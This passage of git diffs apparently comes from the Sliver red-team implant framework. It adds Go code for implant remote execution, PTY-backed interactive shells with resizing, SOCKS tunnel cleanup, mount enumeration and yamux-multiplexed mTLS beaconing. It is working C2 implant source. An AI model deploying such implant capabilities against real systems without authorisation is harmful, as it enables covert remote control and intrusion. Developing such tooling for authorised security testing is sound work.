return children[i].StartTime < children[j].StartTime
})
return children
}
func executeChildrenHandler(data []byte, resp RPCResponse) {
req := &sliverpb.ExecuteChildrenReq{}
err := proto.Unmarshal(data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
execChildren := &sliverpb.ExecuteChildren{
Children: snapshotExecuteChildren(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(execChildren)
resp(data, err)
}
+6 -11
View File
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
go func() {
cmd.Wait()
}()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
+43 -19
View File
@@ -25,6 +25,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -32,30 +33,32 @@ import (
var (
darwinHandlers = map[uint32]RPCHandler{
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgExecuteChildrenReq: executeChildrenHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
pb.MsgSideloadReq: sideloadHandler,
pb.MsgMountReq: mountHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
@@ -154,6 +157,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &pb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &pb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
+18 -17
View File
@@ -34,23 +34,24 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
+19 -18
View File
@@ -45,24 +45,25 @@ import (
var (
linuxHandlers = map[uint32]RPCHandler{
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
+26 -19
View File
@@ -96,21 +96,22 @@ var (
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+2 -1
View File
@@ -32,7 +32,8 @@ var (
tunnelHandlers = map[uint32]TunnelHandler{
// Interactive shell tunnels
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
// Network tunnels
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
rows := shellReq.GetRows()
cols := shellReq.GetCols()
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
@@ -0,0 +1,18 @@
//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
package tunnel_handlers
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -0,0 +1,63 @@
//go:build darwin || linux || freebsd || openbsd || dragonfly
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type ptyResizer interface {
Resize(rows, cols uint32) error
}
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
req := &sliverpb.ShellResizeReq{}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
rows := req.GetRows()
cols := req.GetCols()
if rows != 0 && cols != 0 {
if resizer, ok := tun.Writer.(ptyResizer); ok {
err := resizer.Resize(rows, cols)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
} else if f, ok := tun.Writer.(*os.File); ok {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
}
}
}
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -36,16 +36,29 @@ import (
"google.golang.org/protobuf/proto"
)
const (
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
tunnels *sync.Map // map[uint64]chan []byte
lastActivity *sync.Map // map[uint64]time.Time
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
tunnels: &sync.Map{},
lastActivity: &sync.Map{},
}
var socksServer *socks5.Server
// Initialize socks server
func init() {
socksServer = socks5.NewServer()
socksTunnels.startCleanupMonitor()
}
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{end}}
return
}
time.Sleep(10 * time.Millisecond) // Necessary delay
// Check early to see if this is a close request from server
if socksData.CloseConn {
if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
if ch, ok := tunnel.(chan []byte); ok {
close(ch)
}
}
socksTunnels.lastActivity.Delete(socksData.TunnelID)
return
}
if socksData.Data == nil {
return
}
// Record activity as soon as we get data for this tunnel
socksTunnels.recordActivity(socksData.TunnelID)
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
// Cleanup on serve failure
socksTunnels.tunnels.Delete(socksData.TunnelID)
return
}
} else {
// Will block when channel is full
tunnel.(chan []byte) <- socksData.Data
}
}
@@ -105,16 +136,22 @@ type socks struct {
}
func (s *socks) Read(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
socksTunnels.recordActivity(s.stream.TunnelID)
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
socksTunnels.recordActivity(s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
}
func (s *socks) Close() error {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
// Signal to server that we need to close this tunnel
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
s.lastActivity.Store(tunnelID, time.Now())
}
// Periodically check for inactive tunnels and clean up
func (s *socksTunnelPool) startCleanupMonitor() {
go func() {
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for range ticker.C {
s.tunnels.Range(func(key, value interface{}) bool {
tunnelID := key.(uint64)
lastActivityI, exists := s.lastActivity.Load(tunnelID)
if !exists {
// If no activity record exists, create one
s.recordActivity(tunnelID)
return true
}
lastActivity := lastActivityI.(time.Time)
if time.Since(lastActivity) > inactivityTimeout {
// Clean up the inactive tunnel
if ch, ok := value.(chan []byte); ok {
close(ch)
}
s.tunnels.Delete(tunnelID)
s.lastActivity.Delete(tunnelID)
}
return true
})
}
}()
}
+166
View File
@@ -0,0 +1,166 @@
//go:build darwin
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/unix"
)
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func formatMountFlags(flags uint32) string {
opts := make([]string, 0, 12)
if flags&unix.MNT_RDONLY != 0 {
opts = append(opts, "ro")
} else {
opts = append(opts, "rw")
}
if flags&unix.MNT_NOSUID != 0 {
opts = append(opts, "nosuid")
}
if flags&unix.MNT_NODEV != 0 {
opts = append(opts, "nodev")
}
if flags&unix.MNT_NOEXEC != 0 {
opts = append(opts, "noexec")
}
if flags&unix.MNT_SYNCHRONOUS != 0 {
opts = append(opts, "sync")
}
if flags&unix.MNT_ASYNC != 0 {
opts = append(opts, "async")
}
if flags&unix.MNT_NOATIME != 0 {
opts = append(opts, "noatime")
}
if flags&unix.MNT_JOURNALED != 0 {
opts = append(opts, "journaled")
}
if flags&unix.MNT_QUOTA != 0 {
opts = append(opts, "quota")
}
if flags&unix.MNT_UNION != 0 {
opts = append(opts, "union")
}
if flags&unix.MNT_AUTOMOUNTED != 0 {
opts = append(opts, "automounted")
}
if flags&unix.MNT_REMOVABLE != 0 {
opts = append(opts, "removable")
}
if flags&unix.MNT_DONTBROWSE != 0 {
opts = append(opts, "nobrowse")
}
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
opts = append(opts, "ignore-ownership")
}
if flags&unix.MNT_LOCAL != 0 {
opts = append(opts, "local")
}
if flags&unix.MNT_ROOTFS != 0 {
opts = append(opts, "rootfs")
}
if flags&unix.MNT_SNAPSHOT != 0 {
opts = append(opts, "snapshot")
}
if flags&unix.MNT_CPROTECT != 0 {
opts = append(opts, "cprotect")
}
if flags&unix.MNT_NOUSERXATTR != 0 {
opts = append(opts, "nouserxattr")
}
if flags&unix.MNT_QUARANTINE != 0 {
opts = append(opts, "quarantine")
}
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
opts = append(opts, "unknown-permissions")
}
if flags&unix.MNT_DEFWRITE != 0 {
opts = append(opts, "defwrite")
}
if flags&unix.MNT_DOVOLFS != 0 {
opts = append(opts, "volfs")
}
if flags&unix.MNT_NOBLOCK != 0 {
opts = append(opts, "noblock")
}
if flags&unix.MNT_RELOAD != 0 {
opts = append(opts, "reload")
}
if flags&unix.MNT_UPDATE != 0 {
opts = append(opts, "update")
}
if flags&unix.MNT_EXPORTED != 0 {
opts = append(opts, "exported")
}
if flags&unix.MNT_MULTILABEL != 0 {
opts = append(opts, "multilabel")
}
if flags&unix.MNT_STRICTATIME != 0 {
opts = append(opts, "strictatime")
}
if flags&unix.MNT_FORCE != 0 {
opts = append(opts, "force")
}
return strings.Join(opts, ",")
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
if err != nil || count == 0 {
return mountInfo, err
}
stats := make([]unix.Statfs_t, count)
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
if err != nil {
return mountInfo, err
}
stats = stats[:count]
for _, stat := range stats {
var mountData sliverpb.MountInfo
mountData.VolumeName = getString(stat.Mntfromname[:])
mountData.MountPoint = getString(stat.Mntonname[:])
mountData.Label = "/"
mountData.VolumeType = getString(stat.Fstypename[:])
mountData.MountOptions = formatMountFlags(stat.Flags)
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+19 -1
View File
@@ -1,7 +1,25 @@
// +linux
//go:build linux
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"os"
+2 -3
View File
@@ -1,5 +1,6 @@
//go:build windows
// +build windows
package mount
/*
Sliver Implant Framework
@@ -19,8 +20,6 @@
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
+1 -1
View File
@@ -1,4 +1,4 @@
// +darwin
//go:build darwin
package procdump
+24 -2
View File
@@ -2,6 +2,7 @@ package pty
import (
"os"
"path/filepath"
"syscall"
"unsafe"
)
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
return nil, nil, err
}
pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
cName := cString(ptm.Cn[:])
sName := cString(ptm.Sn[:])
ptyPath := "/dev/ptm"
ttyPath := "/dev/ptm"
if cName != "" {
ptyPath = filepath.Join("/dev", cName)
}
if sName != "" {
ttyPath = filepath.Join("/dev", sName)
}
pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
return pty, tty, nil
}
func cString(in []int8) string {
out := make([]byte, 0, len(in))
for _, c := range in {
if c == 0 {
break
}
out = append(out, byte(c))
}
return string(out)
}
+100 -5
View File
@@ -21,13 +21,15 @@ package shell
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"os"
"os/exec"
"sync"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
)
@@ -45,9 +47,9 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
return ptyShell(tunnelID, command, rows, cols)
}
return pipedShell(tunnelID, command)
}
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
ptyFile, ttyFile, err := pty.Open()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
return pipedShell(tunnelID, command)
}
ttyPath := ttyFile.Name()
if rows > 0 && cols > 0 {
sz := &pty.Winsize{Rows: rows, Cols: cols}
_ = pty.Setsize(ttyFile, sz)
_ = pty.Setsize(ptyFile, sz)
}
cmd.Stdout = ttyFile
cmd.Stdin = ttyFile
cmd.Stderr = ttyFile
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
err = cmd.Start()
if err != nil {
ptyFile.Close()
ttyFile.Close()
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
term := &ptyRWC{
pty: ptyFile,
tty: ttyPath,
}
_ = ttyFile.Close()
return &Shell{
ID: tunnelID,
Command: cmd,
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
type ptyRWC struct {
pty *os.File
tty string
closeOnce sync.Once
}
func (p *ptyRWC) Read(b []byte) (int, error) {
return p.pty.Read(b)
}
func (p *ptyRWC) Write(b []byte) (int, error) {
return p.pty.Write(b)
}
func (p *ptyRWC) Close() error {
var retErr error
p.closeOnce.Do(func() {
if p.pty != nil {
retErr = p.pty.Close()
}
})
return retErr
}
func (p *ptyRWC) Resize(rows, cols uint32) error {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
if rows == 0 || cols == 0 {
return nil
}
sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
errTTY := error(nil)
if p.tty != "" {
ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
if err != nil {
errTTY = err
} else {
errTTY = pty.Setsize(ttyFile, sz)
_ = ttyFile.Close()
}
}
errPTY := error(nil)
if p.pty != nil {
errPTY = pty.Setsize(p.pty, sz)
}
if errTTY == nil || errPTY == nil {
return nil
}
if errTTY != nil {
return errTTY
}
return errPTY
}
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
+1 -1
View File
@@ -43,7 +43,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
+1 -1
View File
@@ -62,7 +62,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
+89 -13
View File
@@ -36,12 +36,18 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"net"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -192,6 +198,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
}
var conn *tls.Conn
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -202,15 +209,60 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if conn == nil {
return errors.New("[mtls] connect returned nil conn")
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
return err
}
if muxSession == nil {
_ = conn.Close()
return errors.New("[mtls] failed to create yamux session (nil)")
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return mtls.ReadEnvelope(conn)
if muxSession == nil {
return nil, errors.New("[mtls] recv called with nil yamux session")
}
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
if isNilInterface(stream) {
return nil, errors.New("[mtls] accept returned nil stream")
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return mtls.WriteEnvelope(conn, envelope)
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
